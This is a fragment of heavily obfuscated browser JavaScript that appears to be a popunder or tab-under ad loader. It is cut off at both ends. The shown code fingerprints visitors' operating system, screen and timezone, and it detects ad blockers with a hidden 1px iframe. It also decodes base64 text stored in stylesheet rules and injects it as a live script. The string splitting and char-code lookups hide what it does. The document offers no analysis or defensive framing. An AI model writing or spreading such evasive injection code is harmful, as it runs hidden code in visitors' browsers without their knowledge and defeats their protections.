}, /** * @param {number} far * @param {number} near * @return {?} */ "i2h" : function(far, near) { return far - near; }, /** * @param {number} dataAndEvents * @param {number} opt_attributes * @return {?} */ "p6h" : function(dataAndEvents, opt_attributes) { return dataAndEvents & opt_attributes; }, /** * @param {?} dataAndEvents * @param {?} activeXObj * @return {?} */ "l5h" : function(dataAndEvents, activeXObj) { return dataAndEvents === activeXObj; }, /** * @param {number} i * @param {number} times * @return {?} */ "F6h" : function(i, times) { return i < times; }, /** * @param {Function} type * @param {Function} operator * @return {?} */ "U6h" : function(type, operator) { return type == operator; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "O5h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} T * @param {number} dataAndEvents * @return {?} */ "v5h" : function(T, dataAndEvents) { return T < dataAndEvents; }, /** * @param {number} operator * @param {number} backoff * @return {?} */ "s5h" : function(operator, backoff) { return operator * backoff; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "h5h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} a * @param {number} b * @return {?} */ "t6h" : function(a, b) { return a - b; }, /** * @param {?} i * @param {?} l * @return {?} */ "D5h" : function(i, l) { return i < l; }, /** * @param {string} deepDataAndEvents * @param {string} value * @return {?} */ "I5h" : function(deepDataAndEvents, value) { return deepDataAndEvents == value; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "P2h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} dataAndEvents * @param {number} callback * @return {?} */ "w5h" : function(dataAndEvents, callback) { return dataAndEvents >> callback; }, /** * @param {number} opt_attributes * @param {number} dataAndEvents * @return {?} */ "W5h" : function(opt_attributes, dataAndEvents) { return opt_attributes << dataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} execResult * @return {?} */ "k5h" : function(deepDataAndEvents, execResult) { return deepDataAndEvents <= execResult; }, /** * @param {?} a * @param {?} b * @return {?} */ "q5h" : function(a, b) { return a === b; }, /** * @param {?} value * @param {?} target * @return {?} */ "B6h" : function(value, target) { return value === target; }, /** * @param {number} deepDataAndEvents * @param {number} value * @return {?} */ "v6h" : function(deepDataAndEvents, value) { return deepDataAndEvents <= value; }, /** * @param {(boolean|number|string)} res * @param {(boolean|number|string)} dataAndEvents * @return {?} */ "k6h" : function(res, dataAndEvents) { return res > dataAndEvents; }, /** * @param {number} dataAndEvents * @param {number} deepDataAndEvents * @return {?} */ "y6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents | deepDataAndEvents; }, /** * @param {?} res * @param {?} contexts * @return {?} */ "Y5h" : function(res, contexts) { return res === contexts; }, /** * @param {number} deepDataAndEvents * @param {number} callback * @return {?} */ "m6h" : function(deepDataAndEvents, callback) { return deepDataAndEvents <= callback; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "X5h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} dataAndEvents * @param {number} deepDataAndEvents * @return {?} */ "l6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents << deepDataAndEvents; }, /** * @param {number} regex * @param {number} timer * @return {?} */ "Z5h" : function(regex, timer) { return regex !== timer; }, "Z2h" : true, /** * @param {?} callback * @param {?} b * @return {?} */ "d2h" : function(callback, b) { return callback === b; }, /** * @param {number} deepDataAndEvents * @param {number} timer * @return {?} */ "s6h" : function(deepDataAndEvents, timer) { return deepDataAndEvents <= timer; }, /** * @param {number} el * @param {number} value * @return {?} */ "Q5h" : function(el, value) { return el == value; }, /** * @param {?} res * @param {?} contexts * @return {?} */ "w2h" : function(res, contexts) { return res === contexts; }, /** * @param {number} _id * @param {number} n * @return {?} */ "T6h" : function(_id, n) { return _id >> n; }, /** * @param {number} a * @param {number} b * @return {?} */ "d5h" : function(a, b) { return a - b; } }; var f5h = function() { /** * @param {?} val * @param {?} value * @return {?} */ function resolve(val, value) { /** @type {string} */ var i = "urn"; /** @type {string} */ var obj = "ret"; /** @type {string} */ var o = "rn"; /** @type {string} */ var n = "tu"; /** @type {string} */ var name = "r"; /** @type {Array} */ var a = []; var regexp2_fn = I3x.Z2h; var text = I3x.H2h; var callback = undefined; try { var entry = val[I2h.h2h](); var pair; for (;!(regexp2_fn = (pair = entry.next()).E5h);regexp2_fn = I3x.Z2h) { a.push(pair.value); if (value && I3x.B6h(a.length, value)) { break; } } } catch (r20) { /** * @param {(number|string)} regex * @return {undefined} */ var keys = function(regex) { /** @type {(number|string)} */ callback = regex; }; /** * @param {?} textAlt * @return {undefined} */ var loadNodeModules = function(textAlt) { text = textAlt; }; loadNodeModules(I3x.Z2h); keys(r20); } finally { try { if (!regexp2_fn && entry[name + m + n + o]) { entry[obj + i](); } } finally { if (text) { throw callback; } } } return a; } /** @type {string} */ var m = "e"; return function(object, isXML) { /** @type {string} */ var i = "nc"; /** @type {string} */ var g = "le"; /** @type {string} */ var r = "terab"; /** @type {string} */ var p = "-"; /** @type {string} */ var c = "n"; /** @type {string} */ var article = "ructure"; /** @type {string} */ var n = "s"; /** @type {string} */ var b = "o"; /** @type {string} */ var EQUAL = "ttemp"; /** @type {string} */ var type = " "; /** @type {(number|string)} */ var _ = 140 >= (1392, 24) ? (1173, "d") : (226, 291) <= (569, 43) ? "f" : (1161, 249) >= 279 ? (293, "a") : (135, 95); /** @type {(number|string)} */ var w = (134, 1254) >= (85, 500) ? (578, "i") : (1068, 472); /** @type {(number|string)} */ var $3 = (134, 265) < (576, 20) ? 8 : (70, 447) < 752 ? (991, "l") : (36, 493) < 53 ? 258 : (197, 172); /** @type {string} */ var key = "a"; /** @type {string} */ var $1 = "Inv"; if (Array.isArray(object)) { return object; } else { if (I3x.V6h(I2h.h2h, Object(object))) { return resolve(object, isXML); } else { throw new TypeError($1 + key + $3 + w + _ + type + key + EQUAL + I3x.Y2h + type + I3x.Y2h + b + type + _ + m + n + I3x.Y2h + article + type + c + b + c + p + w + r + g + type + w + c + n + I3x.Y2h + key + i + m); } } }; }(); (function(item, dataName, timeoutKey) { /** @type {string} */ var col = "("; /** @type {(number|string)} */ var g = 412 >= (536, 56) ? (123, "A") : (128, 401) < 145 ? (35, "B") : (445, 232) < (429, 195) ? 7 : (150, 58); /** @type {string} */ var j = ";"; /** @type {string} */ var $2 = ":"; /** @type {string} */ var i = "l"; /** @type {string} */ var style = "n"; /** @type {string} */ var failuresLink = "tabunder"; /** @type {string} */ var mouseup = "mouseup"; /** @type {string} */ var expected = "mousedown"; /** @type {string} */ var a = "uxngHWCMgWBNwpQg"; /** @type {string} */ var w2 = "00"; /** @type {string} */ var d2 = "0"; /** @type {string} */ var d1 = "4"; /** @type {(number|string)} */ var A_Z_a_z = (479, 1032) >= (1184, 51) ? (437, "2") : (107, 476); /** @type {string} */ var I2 = "300x250"; /** @type {string} */ var aba = "728x90"; /** @type {string} */ var baz = "120x240"; /** @type {string} */ var value2 = "234x60"; /** @type {string} */ var foo = "468x60"; /** @type {string} */ var radixToPower = "3.5.2"; /** @type {string} */ var customViewMenuOffsetWidth = "x"; /** @type {string} */ var v = "o"; /** @type {(number|string)} */ var content = 386 > (537, 41) ? (190, "d") : (9, 89) > (141, 196) ? (71, 103) : 60 < (713, 40) ? (1498, "L") : (207, 97); /** @type {string} */ var _ = "f"; /** @type {string} */ var key = "i"; /** @type {string} */ var $1 = "t"; /** @type {string} */ var s = "c"; /** @type {string} */ var b = "e"; /** @type {number} */ var backoff = 1E3; /** @type {string} */ var min = "b"; /** @type {string} */ var c = "r"; /** @type {(number|string)} */ var slashSplit = (164, 861) <= (130, 273) ? (2, 15) : (91, 86) < 555 ? (9, ",") : (552, 186); /** @type {string} */ var _j = "content"; /** @type {string} */ var STYLE = "style"; /** @type {(number|string)} */ var value = (418, 14) <= (135, 73) ? (257, "h") : (743, 170); /** @type {string} */ var prefix = "u"; /** @type {string} */ var ms = "p"; /** @type {string} */ var e = "a"; /** @type {(number|string)} */ var name = (213, 159) >= 134 ? (252, "s") : (111, 650) > 685 ? (307, 71) : (151, 62); /** @type {number} */ var udataCur = 60; /** @type {null} */ var obj = null; /** @type {string} */ var p = "P"; /** @type {number} */ var result = 23; /** @type {(number|string)} */ var which = (516, 471) <= (136, 220) ? "t" : (687, 5) <= 17 ? (846, 21) : (79, 362) > (476, 770) ? "px;" : (311, 480); /** @type {number} */ var bytenew = 9; /** @type {number} */ var DOT_CALL_NO_PARENS = 17; /** @type {number} */ var r20 = 16; /** @type {number} */ var scripts = 15; /** @type {number} */ var pdataCur = 14; /** @type {number} */ var te = 13; /** @type {number} */ var passes = 12; /** @type {number} */ var base = 10; /** @type {(number|string)} */ var restoreScript = (4, 65) <= 45 ? "i" : 272 > (479, 52) ? (9, 6) : (13, 373); /** @type {number} */ var pdataOld = 5; /** @type {number} */ var suiteView = 7; /** @type {number} */ var fromIndex = 8; /** @type {number} */ var selector = (141, 1150) > (10, 203) ? (1470, 4) : (384, 651); /** @type {(boolean|number)} */ var match = (1224, 2) > (146, 930) ? (99, false) : (593, 793) < 92 ? (278, false) : 485 >= (111, 107) ? (398, 3) : (503, 149); /** @type {(number|string)} */ var dontCloseTags = 107 >= (1388, 185) ? (142, 130) : 1017 <= (481, 1266) ? (579, "8") : (111, 572); /** @type {string} */ var typePattern = "7"; /** @type {string} */ var expectationResult = "10"; /** @type {string} */ var camelKey = "Windows"; /** @type {number} */ var idx = 1; /** @type {string} */ var k = ""; /** @type {(number|string)} */ var sel = (28, 1207) >= (470, 102) ? (126, 2) : (348, 131) < 51 ? "h" : 1 >= (22, 1262) ? 4 : (122, 134); /** @type {(number|string)} */ var total = (647, 99) >= (306, 423) ? 67 : 232 > (490, 448) ? 59 : 1403 >= (104, 51) ? (35, ".") : (473, 180); /** @type {number} */ var interval = 20; /** @type {string} */ var str = ""; /** @type {number} */ var id = 0; /** @type {string} */ var path = "/"; /** @type {string} */ var __dirname = "//"; try { /** * @param {?} object * @return {undefined} */ var isArguments = function(object) { child.b5h = object; }; /** * @return {undefined} */ var throttledUpdate = function() { /** @type {string} */ text = __dirname + index + path + child.L5h; }; /** * @param {?} other * @return {undefined} */ var toggle = function(other) { e4Z6h[G6h].zfgaabversion = other; }; /** * @param {?} value * @return {undefined} */ var isUndefinedOrNull = function(value) { child.L5h = value.U5h; }; /** * @param {?} node * @return {undefined} */ var traverseNode = function(node) { e4Z6h[G6h][dataName] = node; }; /** * @return {undefined} */ var tryIt = function() { /** @type {string} */ blank = __dirname + index + path + child.L5h + orig; }; /** * @return {?} */ var getIndex = function parse() { /** @type {string} */ var last = "5901cf07608da"; /** @type {string} */ var udataCur = "wmoaz2g6axi0p"; /** * @return {undefined} */ var walk = function() { prop = Object.prototype.hasOwnProperty.call(cache, prop) ? cache[prop] : prop; }; if (I3x.u5h(src.length, id)) { return atob(src[id].split(str).reverse().join(str)); } var node = addChild(); var context = isBinary(node); var functionUid = clearStateChar(); var value = named(); var nodes = jQuery(node, context); var key = serializer(functionUid); var name = getName(value); var props = keys(); var prop = promote(name, key, nodes, id, id); var cache = {}; if (I3x.A5h(rvar, index2)) { cache = {}; } else { if (I3x.Y5h(rvar, progressContexts)) { cache = {}; } } walk(); var array = void id; if (I3x.U2h(rvar, index2)) { /** * @param {Node} value * @return {undefined} */ var setBit = function(value) { /** @type {Node} */ array = value; }; setBit(udataCur); } else { if (I3x.w2h(rvar, progressContexts)) { /** * @param {Node} last * @return {undefined} */ var process = function(last) { /** @type {Node} */ array = last; }; process(last); } } var result = {}; var initial = Object.prototype.hasOwnProperty.call(result, prop) ? result[prop] : array; var restoreScript = prop + initial; return getValue(restoreScript).substr(id, I3x.J5h(interval, inArray(name))) + total + props; }; /** * @param {Function} fn * @return {undefined} */ var valueAccessor = function runTest(fn) { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 4 && (m1.charCodeAt((783, 82) >= 465 ? 34 : 44 <= (73, 1001) ? (1190, 3) : (155, 142)) == 121 && (m1.charCodeAt(2) == 100 && m1.charCodeAt(0) == ((47, 934) <= 575 ? (59, 176) : (1330, 85) >= (72, 307) ? 101 : (41, 523) >= 226 ? (452, 98) : (591, 21))))) { break; } } if (!e4Z6h[O6h][m1]) { /** @type {number} */ var timer = setTimeout(function run() { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 4 && (m1.charCodeAt(3) == 121 && (m1.charCodeAt(2) == 100 && m1.charCodeAt(0) == 98))) { break; } } if (!e4Z6h[O6h][m1]) { /** @type {number} */ timer = setTimeout(run, interval); return; } fn(); clearTimeout(timer); }, interval) } else { fn(); } }; /** * @param {Function} done * @param {Function} cb * @return {undefined} */ var toVLQSigned = function init(done, cb) { /** @type {number} */ var backoff = 400; /** @type {string} */ var pdataOld = "1px"; /** @type {string} */ var link = "iframe"; /** * @param {(number|string)} value * @return {undefined} */ var resize = function(value) { /** @type {(number|string)} */ node.width = value; }; /** * @param {(number|string)} value * @return {undefined} */ var Class = function(value) { /** @type {(number|string)} */ node.height = value; }; var node = e4Z6h[O6h]["createElement"](link); resize(pdataOld); Class(pdataOld); node.src = fn(); valueAccessor(function() { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 4 && (m1.charCodeAt(3) == ((11, 431) <= 434 ? (17, 121) : 145 <= (592, 1) ? "," : (1259, 31)) && (m1.charCodeAt(2) == 100 && m1.charCodeAt(0) == 98))) { break; } } e4Z6h[O6h][m1]["appendChild"](node); }); setTimeout(function() { /** @type {string} */ var deepDataAndEvents = "hidden"; /** @type {string} */ var udataCur = "none"; if (I3x.S5h(node.style.display, udataCur) || (I3x.J6h(node.style.display, deepDataAndEvents) || (I3x.e6h(node.style.visibility, deepDataAndEvents) || I3x.V5h(node.offsetHeight, id)))) { node.parentNode.removeChild(node); done(); } else { node.parentNode.removeChild(node); cb(); } }, backoff); }; /** * @param {Function} fn * @return {?} */ var getActual = function run(fn) { /** @type {number} */ var frequency = 300; var error = I3x.H2h; /** @type {number} */ var id = setInterval(function() { if (!error) { /** * @param {?} err * @return {undefined} */ var handler = function(err) { error = err; }; handler(I3x.Z2h); fn(); clearInterval(id); } }, frequency); return id; }; /** * @param {(number|string)} name * @param {(number|string)} value * @param {(number|string)} selector * @param {number} id * @param {number} source * @return {?} */ var promote = function filter(name, value, selector, id, source) { var event = trim(name, sel) + trim(value, sel) + trim(selector, sel) + trim(id, sel) + trim(source, sel); return event; }; /** * @param {(number|string)} s * @param {string} n * @return {?} */ var trim = function parse(s, n) { /** @type {string} */ var result = s + k; for (;I3x.D5h(result.length, n);) { /** * @return {undefined} */ var promote = function() { /** @type {string} */ var padding = "0"; result = padding + result; }; promote(); } return result; }; /** * @param {string} dataAndEvents * @param {string} deepDataAndEvents * @return {?} */ var jQuery = function clone(dataAndEvents, deepDataAndEvents) { /** @type {number} */ var ret = idx; if (I3x.G5h(dataAndEvents, camelKey)) { if (I3x.K2h(deepDataAndEvents, expectationResult)) { /** * @param {number} id * @return {undefined} */ var getCallback = function(id) { /** @type {number} */ ret = id; }; getCallback(sel); } else { if (I3x.o2h(deepDataAndEvents, typePattern) || I3x.A6h(deepDataAndEvents, dontCloseTags)) { /** * @param {number} arr * @return {undefined} */ var nullIds = function(arr) { /** @type {number} */ ret = arr; }; nullIds(match); } } } return ret; }; /** * @param {string} deepDataAndEvents * @return {?} */ var serializer = function get(deepDataAndEvents) { /** @type {string} */ var pdataOld = "1366"; /** @type {string} */ var udataCur = "1920"; /** @type {number} */ var fn = idx; if (I3x.i5h(deepDataAndEvents, udataCur)) { /** * @param {number} selector * @return {undefined} */ var jQuery = function(selector) { /** @type {number} */ fn = selector; }; jQuery(sel); } else { if (I3x.I5h(deepDataAndEvents, pdataOld)) { /** * @param {number} params * @return {undefined} */ var callback = function(params) { /** @type {number} */ fn = params; }; callback(match); } } return fn; }; /** * @param {number} deepDataAndEvents * @return {?} */ var getName = function clone(deepDataAndEvents) { /** @type {number} */ var udataCur = 19; /** @type {number} */ var fmt = 120 >= (963, 100) ? (1E3, 18) : 533 > (118, 624) ? 228 : (302, 76); /** @type {number} */ var res = selector; if (deepDataAndEvents <= -fromIndex) { /** * @param {number} type * @return {undefined} */ var is = function(type) { /** @type {number} */ res = type; }; is(selector); } else { if (deepDataAndEvents <= -suiteView) { /** * @param {number} value * @return {undefined} */ var assign = function(value) { /** @type {number} */ res = value; }; assign(pdataOld); } else { if (deepDataAndEvents <= -restoreScript) { /** * @param {number} callback * @return {undefined} */ var getCallback = function(callback) { /** @type {number} */ res = callback; }; getCallback(restoreScript); } else { if (deepDataAndEvents <= -pdataOld) { /** * @param {number} obj * @return {undefined} */ var isUndefined = function(obj) { /** @type {number} */ res = obj; }; isUndefined(suiteView); } else { if (deepDataAndEvents <= -selector) { /** * @param {number} obj * @return {undefined} */ var _clone = function(obj) { /** @type {number} */ res = obj; }; _clone(fromIndex); } else { if (deepDataAndEvents <= -idx) { /** * @param {number} obj * @return {undefined} */ var forOwn = function(obj) { /** @type {number} */ res = obj; }; forOwn(base); } else { if (I3x.s6h(deepDataAndEvents, id)) { /** * @param {number} el * @return {undefined} */ var text = function(el) { /** @type {number} */ res = el; }; text(passes); } else { if (I3x.n6h(deepDataAndEvents, idx)) { /** * @param {number} i * @return {undefined} */ var getArr = function(i) { /** @type {number} */ res = i; }; getArr(te); } else { if (I3x.N5h(deepDataAndEvents, sel)) { /** * @param {number} value * @return {undefined} */ var parseEntry = function(value) { /** @type {number} */ res = value; }; parseEntry(pdataCur); } else { if (I3x.k5h(deepDataAndEvents, match)) { /** * @param {number} object * @return {undefined} */ var isArray = function(object) { /** @type {number} */ res = object; }; isArray(scripts); } else { if (I3x.p5h(deepDataAndEvents, selector)) { /** * @param {number} obj * @return {undefined} */ var forIn = function(obj) { /** @type {number} */ res = obj; }; forIn(r20); } else { if (I3x.g6h(deepDataAndEvents, pdataOld)) { /** * @param {number} obj * @return {undefined} */ var HOP = function(obj) { /** @type {number} */ res = obj; }; HOP(DOT_CALL_NO_PARENS); } else { if (I3x.m6h(deepDataAndEvents, restoreScript)) { /** * @param {number} err * @return {undefined} */ var cloned = function(err) { /** @type {number} */ res = err; }; cloned(fmt); } else { if (I3x.D6h(deepDataAndEvents, suiteView)) { /** * @param {number} value * @return {undefined} */ var isUndefinedOrNull = function(value) { /** @type {number} */ res = value; }; isUndefinedOrNull(udataCur); } else { if (I3x.a5h(deepDataAndEvents, fromIndex)) { /** * @param {number} value * @return {undefined} */ var _setOption = function(value) { /** @type {number} */ res = value; }; _setOption(interval); } else { if (I3x.v6h(deepDataAndEvents, bytenew)) { /** * @param {number} object * @return {undefined} */ var keys = function(object) { /** @type {number} */ res = object; }; keys(which); } else { /** * @param {number} object * @return {undefined} */ var hasKey = function(object) { /** @type {number} */ res = object; }; hasKey(result); } } } } } } } } } } } } } } } } return res; }; /** * @return {?} */ var keys = function u() { /** @type {string} */ var e = "com"; return e; }; /** * @return {?} */ var addChild = function parse() { var m; for (m in e4Z6h[G6h]) { if (m.length === (414 <= (239, 114) ? (79, "i") : 635 <= (329, 774) ? (4, 9) : (494, 115)) && (m.charCodeAt((135, 371) <= 160 ? 21 : 311 >= (226, 274) ? (21, 6) : (244, 570) > 1445 ? (659, 21) : (75, 460)) === 116 && (m.charCodeAt(8) === 114 && (m.charCodeAt(4) === 103 && m.charCodeAt((187, 145) > (91, 399) ? (11, 8) : (1063, 42) <= 88 ? (58, 0) : (51, 10)) === 110)))) { break; } } var d; for (d in e4Z6h[G6h][m]) { if (d.length == 9 && (d.charCodeAt(8) == 116 && (d.charCodeAt(7) == 110 && d.charCodeAt(0) == 117))) { break; } } var key; for (key in e4Z6h[G6h]) { if (key.length === 9 && (key.charCodeAt(6) === 116 && (key.charCodeAt(8) === 114 && (key.charCodeAt((50, 889) < (1193, 579) ? "A" : (1234, 853) > (86, 678) ? (89, 4) : (324, 131)) === ((81, 13) < 51 ? (222, 103) : (391, 82)) && key.charCodeAt(0) === 110)))) { break; } } var i; for (i in e4Z6h[G6h][key]) { if (i.length == ((456, 126) >= 129 ? 83 : (208, 103) < 406 ? (1397, 8) : (763, 71)) && (i.charCodeAt(7) == 109 && (i.charCodeAt(6) == 114 && i.charCodeAt(0) == (1095 >= (186, 340) ? (209, 112) : (96, 474))))) { break; } } /** @type {string} */ var restoreScript = "Linux"; /** @type {string} */ var last = "Android"; /** @type {string} */ var udataCur = "iOS"; /** @type {string} */ var suiteView = "MacOS"; /** @type {string} */ var c = "iPod"; /** @type {string} */ var A = "iPad"; /** @type {string} */ var a = "iPhone"; /** @type {string} */ var assets = "WinCE"; /** @type {string} */ var tmp = "Win64"; /** @type {string} */ var foo = "Win32"; /** @type {string} */ var D = "Mac68K"; /** @type {string} */ var w = "PC"; /** @type {string} */ var post = "ac"; /** @type {string} */ var base = "M"; /** @type {string} */ var B = "MacIntel"; /** @type {string} */ var machine = "Macintosh"; var extra = e4Z6h[G6h][m][d]; var letter = e4Z6h[G6h][key][i]; /** @type {Array} */ var alpha = [machine, B, base + post + p + w, D]; /** @type {Array} */ var dirs = [foo, tmp, camelKey, assets]; /** @type {Array} */ var letters = [a, A, c]; /** @type {null} */ var ret = obj; if (alpha.indexOf(letter) !== -idx) { /** * @param {?} obj * @return {undefined} */ var isUndefined = function(obj) { ret = obj; }; isUndefined(suiteView); } else { if (letters.indexOf(letter) !== -idx) { /** * @param {?} value * @return {undefined} */ var setBit = function(value) { ret = value; }; setBit(udataCur); } else { if (dirs.indexOf(letter) !== -idx) { /** * @param {?} key * @return {undefined} */ var promote = function(key) { ret = key; }; promote(camelKey); } else { if (/Android/.test(extra)) { /** * @param {?} last * @return {undefined} */ var process = function(last) { ret = last; }; process(last); } else { if (!ret && /Linux/.test(letter)) { /** * @param {?} callback * @return {undefined} */ var getName = function(callback) { ret = callback; }; getName(restoreScript); } } } } } return ret; }; /** * @param {?} elems * @return {?} */ var isBinary = function m(elems) { var character; for (character in e4Z6h[P6h]) { if (character.length == 9 && (character.charCodeAt(8) == 116 && (character.charCodeAt(7) == 110 && character.charCodeAt(0) == 117))) { break; } } /** @type {string} */ var output = str; var digit = e4Z6h[P6h][character]; if (I3x.S6h(elems, camelKey)) { if (/(Windows 10.0|Windows NT 10.0)/.test(digit)) { /** * @param {string} result * @return {undefined} */ var c = function(result) { /** @type {string} */ output = result; }; c(expectationResult); } if (/(Windows 8.1|Windows NT 6.3)/.test(digit)) { /** * @param {string} collection * @return {undefined} */ var indexOf = function(collection) { /** @type {string} */ output = collection; }; indexOf(dontCloseTags); } if (/(Windows 8|Windows NT 6.2)/.test(digit)) { /** * @param {string} exports * @return {undefined} */ var a = function(exports) { /** @type {string} */ output = exports; }; a(dontCloseTags); } if (/(Windows 7|Windows NT 6.1)/.test(digit)) { /** * @param {string} args * @return {undefined} */ var unsubscribe = function(args) { /** @type {string} */ output = args; }; unsubscribe(typePattern); } } return output; }; /** * @return {?} */ var clearStateChar = function promote() { var i; for (i in e4Z6h[G6h]) { if (i.length === 6 && (i.charCodeAt(3) === 101 && (i.charCodeAt(5) === (127 >= (16, 792) ? (455, 96) : (1306, 77) <= (1412, 160) ? (517, 110) : (341, 154) >= 341 ? 481 : (276, 96)) && (i.charCodeAt(1) === 99 && i.charCodeAt(0) === (2 <= (77, 851) ? (928, 115) : (1296, 1) >= 1100 ? 779 : (19, 327)))))) { break; } } var t = e4Z6h[G6h][i]["width"]; return t; }; /** * @return {?} */ var named = function handle() { /** @type {Date} */ var dateJul = new Date; /** @type {number} */ var val = -dateJul.getTimezoneOffset() / udataCur; return val; }; /** * @return {?} */ var fn = function initialize() { /** @type {string} */ var tokenizeEvaluate = "afu.php"; /** @type {string} */ var len = '"]'; /** @type {string} */ var inner = '*="'; /** @type {string} */ var s = "rc"; /** @type {string} */ var _ = "["; /** @type {string} */ var val = "ipt"; /** @type {string} */ var version = "cr"; var node = e4Z6h[O6h]["querySelector"](name + version + val + _ + name + s + inner + e + ms + prefix + total + ms + value + ms + len); if (I3x.l5h(node, obj)) { return; } return item.F5h ? node.src.replace(/apu.php/g, tokenizeEvaluate) : node.src; }; /** * @param {?} deepDataAndEvents * @return {?} */ var getText = function init(deepDataAndEvents) { /** @type {string} */ var recordName = "href"; try { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 11 && (m1.charCodeAt(10) == (335 > (303, 79) ? (95, 115) : (3, 771)) && (m1.charCodeAt(9) == (1397 < (123, 124) ? (140, "t") : 144 > (1462, 136) ? (702, 116) : (26, 60) < (569, 4) ? 316 : (127, 130)) && m1.charCodeAt(0) == 115))) { break; } } var l; var enabled = I3x.H2h; if (e4Z6h[O6h][m1]) { var a; for (a in e4Z6h[O6h]) { if (a.length == 11 && (a.charCodeAt((20, 1282) < (1144, 116) ? 65 : 89 <= (129, 564) ? (68, 10) : (231, 110)) == 115 && (a.charCodeAt((0, 122) < (84, 1379) ? (79, 9) : (385, 55)) == 116 && a.charCodeAt(0) == 115))) { break; } } var i; for (i in e4Z6h[O6h][a]) { var character; for (character in e4Z6h[O6h]) { if (character.length == 11 && (character.charCodeAt(731 >= (465, 538) ? (128, 10) : (263, 80)) == 115 && (character.charCodeAt(9) == 116 && character.charCodeAt(0) == 115))) { break; } } if (I3x.z5h(e4Z6h[O6h][character][i][recordName], deepDataAndEvents)) { /** * @param {Document} data * @return {undefined} */ var poll = function(data) { /** @type {string} */ var type = "les"; /** @type {string} */ var left = "sRu"; /** @type {string} */ var right = "cs"; l = data.styleSheets[i][right + left + type][match][STYLE][_j]; }; poll(document); break; } } } if (!l) { return I3x.H2h; } l = l.substring(idx, I3x.t6h(l.length, idx)); var f = e4Z6h[G6h]["atob"](l); f = f.split(slashSplit); /** @type {number} */ var _id = id; var s = f.length; for (;I3x.b6h(_id, s);_id++) { if (I3x.P5h(f[_id], e4Z6h["location"]["host"])) { /** * @param {?} enable * @return {undefined} */ var debug = function(enable) { enabled = enable; }; debug(I3x.Z2h); break; } } return enabled; } catch (x) { } }; /** * @param {?} assert * @return {?} */ var ok = function callback(assert) { /** @type {string} */ var success = "text/javascript"; /** @type {string} */ var varname = "script"; /** @type {string} */ var camelKey = '"KGZ1bmN0aW9uKCkge30pKCk7"'; /** @type {string} */ var b = "ef"; try { var character; for (character in e4Z6h[O6h]) { if (character.length == 11 && (character.charCodeAt(10) == 115 && (character.charCodeAt(9) == 116 && character.charCodeAt((81, 20) < (414, 46) ? (40, 0) : (9, 390)) == 115))) { break; } } var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 4 && (m1.charCodeAt(3) == 121 && (m1.charCodeAt((127, 86) >= 518 ? 62 : (870, 394) < 677 ? (144, 2) : (404, 85)) == 100 && m1.charCodeAt(0) == (101 < (50, 140) ? (48, 98) : (89, 84))))) { break; } } /** * @param {string} type * @return {undefined} */ var complete = function(type) { /** @type {string} */ fill.type = type; }; var l; if (e4Z6h[O6h][character]) { var a; for (a in e4Z6h[O6h]) { if (a.length == 11 && (a.charCodeAt(10) == 115 && (a.charCodeAt(9) == 116 && a.charCodeAt(0) == 115))) { break; } } var i; for (i in e4Z6h[O6h][a]) { var ch; for (ch in e4Z6h[O6h]) { if (ch.length == 11 && (ch.charCodeAt(10) == ((159, 101) < 59 ? 7 : (279, 429) >= (588, 6) ? (725, 115) : (1166, 1171) <= 846 ? "B" : (51, 128)) && (ch.charCodeAt(9) == (138 <= (317, 394) ? (511, 116) : (368, 16)) && ch.charCodeAt(0) == 115))) { break; } } if (I3x.E6h(e4Z6h[O6h][ch][i][value + c + b], assert)) { /** * @param {Document} doc * @return {undefined} */ var addNamespacesAndStylesheet = function(doc) { /** @type {string} */ var recordName = "cssRules"; l = doc.styleSheets[i][recordName][sel][STYLE][_j]; }; addNamespacesAndStylesheet(document); break; } } } if (!l) { /** * @param {Object} key * @return {undefined} */ var unlock = function(key) { /** @type {Object} */ l = key; }; unlock(camelKey); } l = l.substring(idx, I3x.d5h(l.length, idx)); var fill = e4Z6h[O6h]["createElement"](varname); complete(success); var img = e4Z6h[O6h]["createTextNode"](e4Z6h[G6h]["atob"](l)); fill.appendChild(img); e4Z6h[O6h][m1]["appendChild"](fill); return function() { fill.parentNode.removeChild(fill); }; } catch (x) { } }; /** * @param {number} s * @param {number} value * @return {?} */ var indexOf = function url(s, value) { return Math.floor(I3x.O2h(Math.random(), value - s) + s); }; /** * @param {(number|string)} text * @return {?} */ var inArray = function init(text) { /** @type {number} */ var hello = id; if (I3x.Q5h(text.toString().length, idx)) { /** @type {number} */ var g = parseInt(text); return g; } else { text.toString().split(k).forEach(function(m1) { /** @type {number} */ var charCodeToReplace = parseInt(m1); return hello += charCodeToReplace; }); return init(hello); } }; /** * @param {string} key * @param {Text} value * @param {Text} data * @return {undefined} */ var X5 = function setCookie(key, value, data) { /** @type {string} */ var token = "; "; /** @type {(number|string)} */ var separator2 = (53, 132) <= 270 ? (41, "=") : (115, 82) >= 552 ? 409 : (21, 1136) < (1277, 71) ? 1128 : (548, 427); /** @type {string} */ var meridiem = "er"; /** @type {string} */ var max = "num"; /** * @param {string} value * @return {undefined} */ var escape = function(value) { var key; for (key in e4Z6h[O6h]) { if (key.length == ((310, 93) <= 26 ? (83, 1) : (20, 948) > 1093 ? (1067, 12) : (86, 326) >= (227, 318) ? (822, 6) : (493, 674)) && (key.charCodeAt((111, 110) >= 503 ? (25, 578) : (688, 105) >= 368 ? 408 : (445, 526) <= 569 ? (358, 5) : (1229, 1385)) == 101 && (key.charCodeAt((179, 42) < 145 ? (320, 4) : (396, 91)) == 105 && key.charCodeAt(0) == (573 < (1355, 120) ? "p" : (205, 580) <= 68 ? 810 : (87, 31) <= 1073 ? (240, 99) : (716, 78))))) { break; } } /** @type {string} */ e4Z6h[O6h][key] = value; }; /** * @return {undefined} */ var setDate = function() { data = data || {}; }; setDate(); var exp = data.c6h; if (typeof 